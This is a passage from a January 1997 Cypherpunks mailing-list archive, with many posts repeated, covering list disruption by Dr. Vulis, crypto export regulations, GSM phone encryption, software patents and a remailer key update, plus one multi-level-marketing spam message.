and "evil" are abstract concepts which fluctuate from individual to 
individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
University, I think that perhaps he has been hanging out and drinking
too many beers with my former philosophy professor Quentin Lauer. ;-7 

>    The crypto-cognizant citizen proclaims cryptographical ability as
> a means of empowering their rights of free speech.  The more intelligent
> of them recognize as misinformation the government's feeble claims that
> they cannot successfully investigate someone moving tons of illegal
> drugs into the country unless they have the capacity to eavesdrop on
> the private correspondences of 'all' of their citizens. (Which is the
> equivalent, in my mind, of claiming that AIDS cannot be held in check
> without knowing the details of all of the citizens sex-lives.)
 
Governments, however, are made up of the very same people who claim
to require these rights to privacy. Those people create, codify and 
enforce the laws. The problem is that the people who find themselves in 
this position of power are not always the most moral or concerned with 
the best interest of the majority. 

And fiendishly, it is the very chaos and anarchy and random chance 
espoused by proponents of the cypherpunk philosophy that allows these
people to gain this power, unchecked! 
 
Thus, the real problem ends up being not "how to control the government
so that the government doesn't control us", but "how to deal with the 
government when it goes into control-freak mode". That it will go into
such a mode is a given -- based on human nature and history. This is
a fundamental cycle of evolution and human behavior. We have to face
the fact that humans are predators, and as long as we are, the 
cycle of this behavior will continue. 

The human race has not evolved to such a point where privacy is not an
essential thing. If tomorrow everyone turned instantly telepathic and 
we all were capable of knowing each other's thoughts, you'd best believe
the suicide rate would be beyond belief. Buisnesses would instantly 
fail, countries would instantly be absorbed by other countries, many 
relationships based on love and trust would be destroyed. 

And during that time, the deadliest person alive - the toughest and 
the meanest, and the most effective in the face of all the chaos, would
not be the person who was capable of preserving their privacy. Rather,
it would be the one who was capable of surviving in it's complete 
absence. 

This is not to denigrate the efforts of the cypherpunks, but merely to
point out an area that they may not have thought of as a method to
battle the trend towards fascism. 

-- 
Marcus: "They'll try to kill you."         | "You won't see me in 
Xena: "Oh, I still have a few tricks       | front, but you can't 
       left up my sleeve...I don't         | leave me behind!" 
       have any sleeves!" -- Xena bloopers |                 -- YES 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 22:59:18 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <32E484AD.7B39@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> If Dr. Vulis is indeed an adjunct professor at Fordham
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7

  All the good computer people have degrees in Political Philosophy,
and the like. People with actual computer science degrees, etc., 
seem to be more astute at office politics, however. It's a strange
world.

> And fiendishly, it is the very chaos and anarchy and random chance
> espoused by proponents of the cypherpunk philosophy that allows these
> people to gain this power, unchecked!

  I think that the 'cypherpunk philosophy' is history, now. It seems to
me that many of the CypherPunks have gotten their piece of the pie and
are mostly concerned with big business Cypher, and wish that the Punks
would just go away.
  There is always an essential element behind every movement, and those
who are active in espousing the tenets of that movement, be they the
'suits' or the 'jeans', are seldom any more than mouthpieces for
those who continue to work toward essential goals no matter what
the surface manifestations of a group seem to indicate.

> Thus, the real problem ends up being not "how to control the government
> so that the government doesn't control us", but "how to deal with the
> government when it goes into control-freak mode".
> the deadliest person alive - the toughest and
> the meanest, and the most effective in the face of all the chaos, would
> not be the person who was capable of preserving their privacy. Rather,
> it would be the one who was capable of surviving in it's complete
> absence.

  It might well be that the purpose of evolution is to weed out those
who cannot
survive in both scenarios.
 
> This is not to denigrate the efforts of the cypherpunks, but merely to
> point out an area that they may not have thought of as a method to
> battle the trend towards fascism.

  Many haven't, some have.  Between the Hermit and the Fool, stand many
who are merely occupying a space.
  There are those who theorize that genius' and the insane are the 
forerunners of the new directions humanity will take. I subscribe to
the CypherPunks list so that I can monitor both at the same time.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Mon, 20 Jan 1997 16:06:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
In-Reply-To: <199701201613.IAA12460@toad.com>
Message-ID: <Pine.HPP.3.91.970121004302.23370A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Adam Back wrote:

> into the data port.  You can't fit the laptop and GSM phone
> combination into your shirt pocket.  What are you going to use for a

With a reasonably sized shirt pocket you can fit a Nokia 9000
Communicator into it: a combination of GSM phone and 386 computer,
with 6 MB storage (OS and default applications use 4 of those)
and 2 MB RAM. It runs fax, SMS (Short Messages Services), a Terminal,
SMTP, IMAP4, MIME1, WWW and telnet. The operative system is GEOS
(tm) 3.0. I guess it's not very programmable though (and there is
no PGPhone implementation for GEOS) and data speed is only 9600 bps.
And there is probably no connection between the mic/speaker and
the computer.

But it's only 173 x 64 x 38 mm, and perhaps the next generation of such
devices might be interesting for reengineering into secure end-to-end
crypto phenes? 

Asgaard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Mon, 20 Jan 1997 16:57:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
Message-ID: <199701210057.QAA24939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Adam Back wrote:

> into the data port.  You can't fit the laptop and GSM phone
> combination into your shirt pocket.  What are you going to use for a

With a reasonably sized shirt pocket you can fit a Nokia 9000
Communicator into it: a combination of GSM phone and 386 computer,
with 6 MB storage (OS and default applications use 4 of those)
and 2 MB RAM. It runs fax, SMS (Short Messages Services), a Terminal,
SMTP, IMAP4, MIME1, WWW and telnet. The operative system is GEOS
(tm) 3.0. I guess it's not very programmable though (and there is
no PGPhone implementation for GEOS) and data speed is only 9600 bps.
And there is probably no connection between the mic/speaker and
the computer.

But it's only 173 x 64 x 38 mm, and perhaps the next generation of such
devices might be interesting for reengineering into secure end-to-end
crypto phenes? 

Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 00:20:33 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
In-Reply-To: <199701210631.WAA03064@mail.pacifier.com>
Message-ID: <32E48B73.6F00@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
 
> In short, I think it's absolutely foolish to believe that any sort of
> workable system could ever have been arranged to patent software, even if
> all of the issues above had been addressed fairly.  And the reason I asked
> for an "innocent" explanation is to give people the benefit of the doubt so
> that they could show that the system was working.  It isn't, and you know it.

  Sure the 'system' is working. Software patents were begun as a means
for
the government to exert control over the direction of software
development.
  It's the same thing as crypto-export regulations. They established a
dick-licking order for those who want to whore their way to riches 
under government rule. So now the quickest way to export your product
is to name it 'Crypto Light'.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 06:57:23 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701211457.GAA06835@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
 
> In short, I think it's absolutely foolish to believe that any sort of
> workable system could ever have been arranged to patent software, even if
> all of the issues above had been addressed fairly.  And the reason I asked
> for an "innocent" explanation is to give people the benefit of the doubt so
> that they could show that the system was working.  It isn't, and you know it.

  Sure the 'system' is working. Software patents were begun as a means
for
the government to exert control over the direction of software
development.
  It's the same thing as crypto-export regulations. They established a
dick-licking order for those who want to whore their way to riches 
under government rule. So now the quickest way to export your product
is to name it 'Crypto Light'.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 00:20:34 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32E4905C.4045@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> I don't like to admit to it, but I've practiced baiting for many years

  This startling announcement ranks right up there at the top of the
'surprise' scale, along with K.D. Lang's announcement that she is gay.
(Like the Butch (crew-cut) hairstyle was not a major hint.)

  By the way, when I espoused my opinion that the moderation
announcement's
"your suggestions will be considered" was merely political rhetoric, I 
was offered (and took) a bet of 50,000 electronic porno byte-credits
on whether or not I was right.
  My opponent and I agreed that lack of any serious recognition of the
list
member's input would be taken as a sign of my supposition being correct.
I am of the belief that I have won the bet. Does anyone have any proof
to the contrary?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 07:10:45 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
Message-ID: <199701211510.HAA06970@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> I don't like to admit to it, but I've practiced baiting for many years

  This startling announcement ranks right up there at the top of the
'surprise' scale, along with K.D. Lang's announcement that she is gay.
(Like the Butch (crew-cut) hairstyle was not a major hint.)

  By the way, when I espoused my opinion that the moderation
announcement's
"your suggestions will be considered" was merely political rhetoric, I 
was offered (and took) a bet of 50,000 electronic porno byte-credits
on whether or not I was right.
  My opponent and I agreed that lack of any serious recognition of the
list
member's input would be taken as a sign of my supposition being correct.
I am of the belief that I have won the bet. Does anyone have any proof
to the contrary?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blizz@capella.net
Date: Mon, 20 Jan 1997 22:57:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Moment of your Time.
Message-ID: <199701210701.CAA22866@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


If I could just have a moment of your time,
this is an opportunity message being sent out first
to those I would think might be interested.  I have
a network marketing opportunity to make GOOD money
with MINIMAL effort.  I will not take up your time
with the details.  If you are serious about making
REAL money in the MLM game, just reply with OK in
the message subject and I will send you a Webpage
that will explain better than I could ever do via 
Email.
   This program uses a database to place people
in your downline AUTOMATICALLY as they sign up.
you can spend little or even NO time recruiting, the
choice is yours.
   I have never claimed to be articulate when sending 
Email, so I will end it here, but trust me, this is
worth AT LEAST taking a look at.  After all, if we don't
have the time to check out NEW opportunity's, are we 
really being honest to ourselves in expecting to ever
make money at this?
   If you wish to be removed from my mailing list, just
reply to this with REMOVE in the subject line, and you
will automatically be taken from my future mailing lists.
   I hope you choose to reply with OK, you really should
at least take a look...

		Thanks, and GOOD LUCK Either way!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 00:20:39 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
In-Reply-To: <199701210718.CAA16490@mercury.peganet.com>
Message-ID: <32E498F7.6FDB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:

>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".

  The "About Cypherpunks" intro to the list states,
  "Cypherpunks know how to attack a system and how to defend it."
  "Cypherpunks love to practice."
  If I choose to join the "Venemous Snakes" list, I'm not going to
complain about getting bit every now and again.

> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.

  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
worked, to date.
 
>   I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.

  I haven't seen any evidence of an attempt to destroy this list. 
I've seen many attempts to manipulate the list's direction, but
that is another matter.

>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues.

  There was a crypto-messenger named DataETRetch that 'advanced' their
version of crypto on this list, and they left their heads on the
chopping
block on their way out.
  If your team can't even make it through the scrimmages, then they
don't
belong in the game.  And if you find yourself suggesting, "Why don't we
just play 'touch', instead of 'tackle'.", then you're probably getting
too old and tired to play in the major leagues.

> How does the posting of numerous crude anti-Tim May messages promote 
> personal privacy?

  It doesn't. 'Stopping' the annoyance of these messages promotes 
personal privacy.

> > > "In peacetime, a warlike man sets upon himself." -- Nietzsche
> >   "In times of war, a peacelike man sets upon others."
> >        Bubba Rom Dos
> 
>   This seems horribly to describe the current situation.

  No shit, Sherlock.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 07:11:45 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701211511.HAA07046@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:

>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".

  The "About Cypherpunks" intro to the list states,
  "Cypherpunks know how to attack a system and how to defend it."
  "Cypherpunks love to practice."
  If I choose to join the "Venemous Snakes" list, I'm not going to
complain about getting bit every now and again.

> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.

  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
worked, to date.
 
>   I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.

  I haven't seen any evidence of an attempt to destroy this list. 
I've seen many attempts to manipulate the list's direction, but
that is another matter.

>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues.

  There was a crypto-messenger named DataETRetch that 'advanced' their
version of crypto on this list, and they left their heads on the
chopping
block on their way out.
  If your team can't even make it through the scrimmages, then they
don't
belong in the game.  And if you find yourself suggesting, "Why don't we
just play 'touch', instead of 'tackle'.", then you're probably getting
too old and tired to play in the major leagues.

> How does the posting of numerous crude anti-Tim May messages promote 
> personal privacy?

  It doesn't. 'Stopping' the annoyance of these messages promotes 
personal privacy.

> > > "In peacetime, a warlike man sets upon himself." -- Nietzsche
> >   "In times of war, a peacelike man sets upon others."
> >        Bubba Rom Dos
> 
>   This seems horribly to describe the current situation.

  No shit, Sherlock.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Mon, 20 Jan 1997 23:25:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701210718.CAA16490@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca wrote:
> If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

  As a long time lurker (much longer than many of the numerous
relatively recent vociferous posters) I *must* speak up.
  If the dear "Doctor's" posting are indeed a "grand" experiment
in newsgroup (or maillist) sociology, then it seems they are akin to
experiments in recent history; if the patient dies, so what? There are
other lists...
  While many of you think that the ability of a list to withstand
constant spamming is an important issue; the government is busily
working to outlaw encryption and privacy, and I fear that much
is lost by the side issue of the "how easily can I kill a list".
I feel we at a *critical* crossroads in this debate, and one of the
more important voices has *very* effectively been silenced.

>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

  This is very true, but I cannot understand why you think that
the attempt to disrupt and destroy this list a necessary step
in the task of resisting this governmental effort.

>   As far as I am concerned, any CypherPunk who believes that the
> socio/politico issues surrounding cryptography are not important
> enough to be an integral part of this list is falling into the
> same type of trap as those who think that they can become good
> cryptographers without becoming good cryptanalysts.

  Again, I can't understand why "killing the messenger" is advancing
the issues of privacy and crypto issues. How does the posting of
numerous crude anti-Tim May messages promote personal privacy?

> > "In peacetime, a warlike man sets upon himself." -- Nietzsche
>   "In times of war, a peacelike man sets upon others."
>        Bubba Rom Dos

  This seems horribly to describe the current situation.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Tue, 21 Jan 1997 06:55:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701211455.GAA06829@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca wrote:
> If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

  As a long time lurker (much longer than many of the numerous
relatively recent vociferous posters) I *must* speak up.
  If the dear "Doctor's" posting are indeed a "grand" experiment
in newsgroup (or maillist) sociology, then it seems they are akin to
experiments in recent history; if the patient dies, so what? There are
other lists...
  While many of you think that the ability of a list to withstand
constant spamming is an important issue; the government is busily
working to outlaw encryption and privacy, and I fear that much
is lost by the side issue of the "how easily can I kill a list".
I feel we at a *critical* crossroads in this debate, and one of the
more important voices has *very* effectively been silenced.

>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

  This is very true, but I cannot understand why you think that
the attempt to disrupt and destroy this list a necessary step
in the task of resisting this governmental effort.

>   As far as I am concerned, any CypherPunk who believes that the
> socio/politico issues surrounding cryptography are not important
> enough to be an integral part of this list is falling into the
> same type of trap as those who think that they can become good
> cryptographers without becoming good cryptanalysts.

  Again, I can't understand why "killing the messenger" is advancing
the issues of privacy and crypto issues. How does the posting of
numerous crude anti-Tim May messages promote personal privacy?

> > "In peacetime, a warlike man sets upon himself." -- Nietzsche
>   "In times of war, a peacelike man sets upon others."
>        Bubba Rom Dos

  This seems horribly to describe the current situation.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Tue, 21 Jan 1997 01:18:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <1.5.4.16.19970121042128.0a871362@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


  In reply to Solveig Bernstein's First Amendment challenge questions:

  I read the new regs as permitting:  (i) publication of source code in
paper form (including publications reproduced on microfilm or on prerecorded
phonograph records), or in the form of a motion picture film and soundtrack
(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
information "about" cryptography (section 744.9).  The export of other
encryption materials (including the distribution to non-US persons of source
or object code on diskettes) is restricted, even if the materials are
publicly available "educational information" for release by instruction in
catalog courses and associated teaching laboratories of academic
institutions (section 734.9).

  Technical assistance activities that go beyond "mere" teaching or
discussion of information about cryptography are restricted, if they show
"intent" to aid a foreign person in the development or manufacture, outside
the United States, of controlled encryption commodities and software.  This
is a General Prohibition (see section 736.2(b)(7)(ii)).

  I think one question to be resolved is:  could the "mere" teaching about
cryptography (which is okay), *coupled* with distribution of source code in
paper form (which is otherwise okay because it is not, by itself, subject to
the EAR - see note to section 734.3(b)(2) and (b)(3)), be considered a
violation of the EAR because it demonstrates "intent" to aid a foreign
person in the development of encryption software?  One would hope not (see
Bernstein), but the new 734.9 seems to imply that such a combination may be
restricted.

   Thus, a potental First Amendment challenge to the new regs would be a
challenge to a restriction on teaching coupled with paper
publication/distribution of source code.  Another would be a challenge to
the restriction on non-paper publication/distribution, whether or not
coupled with teaching.

  - Richard Field

(For discussion purposes only.  Not legal advice or a legal opinion.)




On Mon, 20 Jan 1997 14:45:44 -0500 (EST) you wrote (to Declan McCullagh):
>
>What have the new crypto regs done to the "technical data" and the "public
>domain" exemptions from ITAR?
>
>The problem is this:  as I understand it, the Commerce Dept. regs exempt
>teaching and print presentations generally, but these exemptions do not
>apply to "encryption software."
>
>Does this mean that the exemptions do not apply to *teaching about*
>encryption software or *publications about* encryption software?  Or *only*
>that the exemptions do not apply to diskette-contained source code or object
>code.
>
>In other words, the new regs might completely decontrol teaching and
>publication of something like Professor Bernstein's Snuffle.
>
>On the other hand, the new regs might, like ITAR, restrict teaching and
>publication of Snuffle (as well as publication of source code in diskette
>format).
>
>The purpose of the question is to understand whether a First Amendment
>challenge to the new regs is a First Amendment challenge to a restriction on
>*teaching, publication, and program distribution* or just a challenge to a
>restriction on *program distribution.*
>
>
>Solveig Bernstein, Esq.
>(202) 789-5274
>(202) 842-3490 (fax)
>
>Assistant Director of Telecommunications & Technology Studies
>Cato Institute
>1000 Mass. Ave. NW
>Washington, DC 20001





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Tue, 21 Jan 1997 07:11:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <199701211511.HAA07040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  In reply to Solveig Bernstein's First Amendment challenge questions:

  I read the new regs as permitting:  (i) publication of source code in
paper form (including publications reproduced on microfilm or on prerecorded
phonograph records), or in the form of a motion picture film and soundtrack
(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
information "about" cryptography (section 744.9).  The export of other
encryption materials (including the distribution to non-US persons of source
or object code on diskettes) is restricted, even if the materials are
publicly available "educational information" for release by instruction in
catalog courses and associated teaching laboratories of academic
institutions (section 734.9).

  Technical assistance activities that go beyond "mere" teaching or
discussion of information about cryptography are restricted, if they show
"intent" to aid a foreign person in the development or manufacture, outside
the United States, of controlled encryption commodities and software.  This
is a General Prohibition (see section 736.2(b)(7)(ii)).

  I think one question to be resolved is:  could the "mere" teaching about
cryptography (which is okay), *coupled* with distribution of source code in
paper form (which is otherwise okay because it is not, by itself, subject to
the EAR - see note to section 734.3(b)(2) and (b)(3)), be considered a
violation of the EAR because it demonstrates "intent" to aid a foreign
person in the development of encryption software?  One would hope not (see
Bernstein), but the new 734.9 seems to imply that such a combination may be
restricted.

   Thus, a potental First Amendment challenge to the new regs would be a
challenge to a restriction on teaching coupled with paper
publication/distribution of source code.  Another would be a challenge to
the restriction on non-paper publication/distribution, whether or not
coupled with teaching.

  - Richard Field

(For discussion purposes only.  Not legal advice or a legal opinion.)




On Mon, 20 Jan 1997 14:45:44 -0500 (EST) you wrote (to Declan McCullagh):
>
>What have the new crypto regs done to the "technical data" and the "public
>domain" exemptions from ITAR?
>
>The problem is this:  as I understand it, the Commerce Dept. regs exempt
>teaching and print presentations generally, but these exemptions do not
>apply to "encryption software."
>
>Does this mean that the exemptions do not apply to *teaching about*
>encryption software or *publications about* encryption software?  Or *only*
>that the exemptions do not apply to diskette-contained source code or object
>code.
>
>In other words, the new regs might completely decontrol teaching and
>publication of something like Professor Bernstein's Snuffle.
>
>On the other hand, the new regs might, like ITAR, restrict teaching and
>publication of Snuffle (as well as publication of source code in diskette
>format).
>
>The purpose of the question is to understand whether a First Amendment
>challenge to the new regs is a First Amendment challenge to a restriction on
>*teaching, publication, and program distribution* or just a challenge to a
>restriction on *program distribution.*
>
>
>Solveig Bernstein, Esq.
>(202) 789-5274
>(202) 842-3490 (fax)
>
>Assistant Director of Telecommunications & Technology Studies
>Cato Institute
>1000 Mass. Ave. NW
>Washington, DC 20001






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Mon, 20 Jan 1997 20:58:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <199701202142.NAA19098@toad.com>
Message-ID: <19970121045809.17075.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


frantz@netcom.com (Bill Frantz) wrote:
> The box has a 3 or 4 digit display which displays "something" about the
> 3DES key, where "something" is some of the bits, or a hash, or ...  With 3
> decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
> caught.

Not true. It will take a MIM machine less than a tenth of a second to
come up with a 3DES key that will have the same three digit hash.
Remember the attack found about Clipper's LEAF hash, which was only
16 bits long?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Mon, 20 Jan 1997 21:25:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701210525.VAA29113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


frantz@netcom.com (Bill Frantz) wrote:
> The box has a 3 or 4 digit display which displays "something" about the
> 3DES key, where "something" is some of the bits, or a hash, or ...  With 3
> decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
> caught.

Not true. It will take a MIM machine less than a tenth of a second to
come up with a 3DES key that will have the same three digit hash.
Remember the attack found about Clipper's LEAF hash, which was only
16 bits long?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Tue, 21 Jan 1997 03:42:33 -0800 (PST)
To: Mixmaster Mailing List <cypherpunks@toad.com>
Subject: Nex type2.list/pubring.mix
Message-ID: <Pine.NEB.3.93.970121053651.21784B-100000@alpha.jpunix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone!

	There is a new type2.list/pubring.mix combination on jpunix.com.
The Web version is located at www.jpunix.com and the FTP version is at
ftp.jpunix.com. This version reflects the introduction of the wazoo
remailer.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuSrVFOTpEThrthvAQF3VQP/WnfaCY5FYNyImKDX2p5HqjevMzw98bxR
SsiKqWVUTRxEd10rTxPTBfVpq/d+kfDkWs3HQEc/Z2a3LYXwZ/8bFkr9qXTP2wOq
L5PjjpD3QwfJVa2wv+DWYgn07rTyKhe5kOti4YfTt//M7F3S0T/BLMuggG/BXKyB
ccUyqt16PL4=
=+wMo
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Tue, 21 Jan 1997 07:10:58 -0800 (PST)
To: Mixmaster Mailing List <cypherpunks@toad.com>
Subject: Nex type2.list/pubring.mix
Message-ID: <199701211510.HAA07001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone!

	There is a new type2.list/pubring.mix combination on jpunix.com.
The Web version is located at www.jpunix.com and the FTP version is at
ftp.jpunix.com. This version reflects the introduction of the wazoo
remailer.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuSrVFOTpEThrthvAQF3VQP/WnfaCY5FYNyImKDX2p5HqjevMzw98bxR
SsiKqWVUTRxEd10rTxPTBfVpq/d+kfDkWs3HQEc/Z2a3LYXwZ/8bFkr9qXTP2wOq
L5PjjpD3QwfJVa2wv+DWYgn07rTyKhe5kOti4YfTt//M7F3S0T/BLMuggG/BXKyB
ccUyqt16PL4=
=+wMo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 04:40:15 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210140.RAA25601@toad.com>
Message-ID: <32E4B91C.4652@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> That appears to be the main brunt of his efforts, to "push the 
> envelope" of free speech in order to force it's definition. 

Well, the irritating part is that I think he's pushing the wrong
envelope.  Why anyone would expect any particular degree of 
"freedom" to use a service run for free by a private individual
is beyond me.

I appreciate the service, but I don't take it for granted and I
certainly don't take it as an inalienable right.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 07:11:00 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211511.HAA07002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> That appears to be the main brunt of his efforts, to "push the 
> envelope" of free speech in order to force it's definition. 

